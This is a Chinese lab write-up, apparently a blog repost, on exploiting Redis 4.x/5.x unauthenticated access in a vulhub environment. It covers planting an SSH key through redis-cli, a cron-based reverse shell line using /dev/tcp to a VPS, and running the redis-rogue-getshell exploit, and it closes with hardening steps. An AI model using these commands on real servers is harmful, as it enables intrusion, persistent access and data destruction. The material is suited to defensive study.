Redis 4.x/5.x未授权访问漏洞

Redis是什么?

Redis是数据库,一个高性能的key-value存储系统,是使用ANSI C语言编写的。

Redis未授权访问漏洞

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

影响版本

影响版本Redis未授权访问在4.x/5.0.5版本以下

攻击手段

1.直接未授权访问,对redis数据库的操作
2.ssh免密钥登录(有思维导图)
3.对redis数据库写马子拿shell,与第二点条件和思路差不多
4.写进反弹shell,设置反弹时间反弹。
5.利用现有exp

环境

攻击机为192.168.10.144 靶机为192.168.10.158
攻击和靶机都需要安装redis环境。

攻击工具下载

  • 下载压缩包
    wget http://download.redis.io/releases/redis-4.0.11.tar.gz
  • 解压
    tar -zxvf redis-4.0.11.tar.gz
  • 编译
    cd redis-4.0.11 # 切换
    make # 编译

如果要使用连接的话,要进入安装的目录然后./后执行即可,可以-h看看配置如何使用
root@kali:~/redis-4.0.11/src# ./redis-cli -h

但是
在这里插入图片描述
解决的方法是root@kali:~# sudo cp redis-4.0.11/src/redis-cli /usr/local/bin/
(授予redis-cli一个全局使用的权限)
当然了每个人的目录都是不一样的,所以根据自己的情况分析
在这里插入图片描述

靶机漏洞环境准备:(已经搭建好vulhub)

root@kali:~/vulhub/redis/4-unacc# docker-compose up -d
在这里插入图片描述
至此环境已经构建完成


攻击机进攻复现(一)

如果只是漏洞挖掘,不深入拿shell,以下步骤即可。
对靶机的一个6379redis的端口探测
root@kali:~# nmap -p 6379 -script redis-info 192.168.10.158
在这里插入图片描述

  • 进行未授权访问连接

root@kali:~# redis-cli -h 192.168.10.158
如图所示,已经连接上靶机的redis数据库,可以对其进行一些数据库的操作。

在这里插入图片描述
其中redis数据库的一些操作

dbsize 查看所有key的数目
flushdb 删除当前选择数据库中的所有key
flushall 删除所有数据库中的所有key
save: 将数据同步保存到磁盘
bgsave: 异步保存
lastsave: 上次成功保存到磁盘的Unix时间戳
info: 查询server信息
config: 配置server
slaveof: 改变复制策略设置

  
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

方法二:(需root权限)导入ssh,面密钥登录(失败

攻击机,对ssh生成一个空密码
root@kali:~# ssh-keygen -t rsa
如图所见,生成的密码保存在/.ssh目录下
在这里插入图片描述
切换到.ssh/的目录,可见的确生成了rsa的密钥,需要把该密钥复制到一个文本中
root@kali:~/.ssh# (echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > AuFeng.txt
在这里插入图片描述
把该文本传输到靶机上
root@kali:~/.ssh# cat AuFeng.txt | redis-cli -h 192.168.10.158 -x set ok
在这里插入图片描述

然后登录靶机redis,然后把路径修改为root/.ssh
redis-cli -h 192.168.10.158
Config set dir修改路径的时候,发现该以下error问题,说明该redis不是以root权限启动的话,是无法修改路径的,这样的话,该漏洞也无法使用。
在这里插入图片描述

没办法了,我在靶机使用 sudo 启动漏洞环境,还是失败
在这里插入图片描述
在这里只能说说如果redis是root权限下操作的大体的思路:
在这里插入图片描述
参考文章: https://www.freebuf.com/vuls/162035.html


这篇文章是我5月份的时候写的,现在7月18号,因为攻防演练,让我意识到redis未授权这一块知识需要重新补充,所以在自己的服务器上搭建了redis环境,也思考了如何避免redis未授权的漏洞

方法二:导入ssh,免密钥登录(实战成功

(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > AuFeng.txt

  
   
   
  • 1

在这里插入图片描述
root@kali:~/.ssh# cat AuFeng.txt |redis-cli -h 目标ip -x set crack
OK
在这里插入图片描述
先set dir到 ssh生成公、密钥的路径/root/.ssh下,然后把上传的文件设置为authorized_keys,然后save就ok了, 为什么如此设置? 一般ssh生成公、密钥的路径都会在/root/.ssh目录下,一般ssh免密钥登录都是/root/.ssh中的authorized_keys作为认证登录的文件。
在这里插入图片描述

最后一步记得要save,很关键。

实现免密钥登录
在这里插入图片描述


方法三 利用计划任务执行命令反弹shell(需root权限)

有时候 目标服务器没有使用过ssh,就没有/.ssh 这个目录
在这里插入图片描述
但是能用set 证明是root权限,所以可以利用计划任务执行命令反弹shell

/var/spool/cron/这个目录是以账号来区分每个用户自己的执行计划
root用户执行的就会在/var/spool/cron/下面创建root文件

set  xx   "\n* * * * * bash -i >& /dev/tcp/自己vps的ip/1234 0>&1\n"

  
   
   
  • 1

在这里插入图片描述
在这里插入图片描述

方法四 使用已有的exp执行远程命令执行(非root权限)

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

步骤如下,先下载好exp。

root@kali:~# git clone https://github.com/vulhub/redis-rogue-getshell

  
   
   
  • 1

然后进入到RedisModulesSDK/目录进行一个编译

root@kali:~/redis-rogue-getshell# cd RedisModulesSDK/
root@kali:~/redis-rogue-getshell/RedisModulesSDK# make

  
   
   
  • 1
  • 2

最后直接打exp

root@kali:~/redis-rogue-getshell/RedisModulesSDK# python3 redis-master.py -r 192.168.10.158 -p 6379 -L 192.168.10.144 -P 8888 -f RedisModulesSDK/exp.so -c "id"

  
   
   
  • 1

可见,redis运行的权限不是root。
在这里插入图片描述

遗憾:

由于环境搭建的问题上浪费了许多的时间,最后因为运行的权限问题(还是没有解决),导致无法复现使用ssh免密钥登录、还有redis反弹shell的实现。
参考文章(https://www.freebuf.com/column/158065.html


修复方案(重启redis才能生效)

重启很重要,不是说关了重新启动就可以了,需要如下操作才能正常重启

[root@localhost src]# ./redis-server ../redis.conf

  
   
   
  • 1

修复操作如下:

进入redis配置文件redis.conf
ip绑定,不允许除本地外的主机远程登录redis服务 将#注释去掉
在这里插入图片描述

开启保护模式,不允许远程连接redis服务将no 改为yes
在这里插入图片描述
修改默认端口
在这里插入图片描述
以低权限运行 Redis 服务(重启redis才能生效)切身体会
为 Redis 添加密码验证(重启redis才能生效)

猜你喜欢

转载自blog.csdn.net/weixin_44110913/article/details/109487914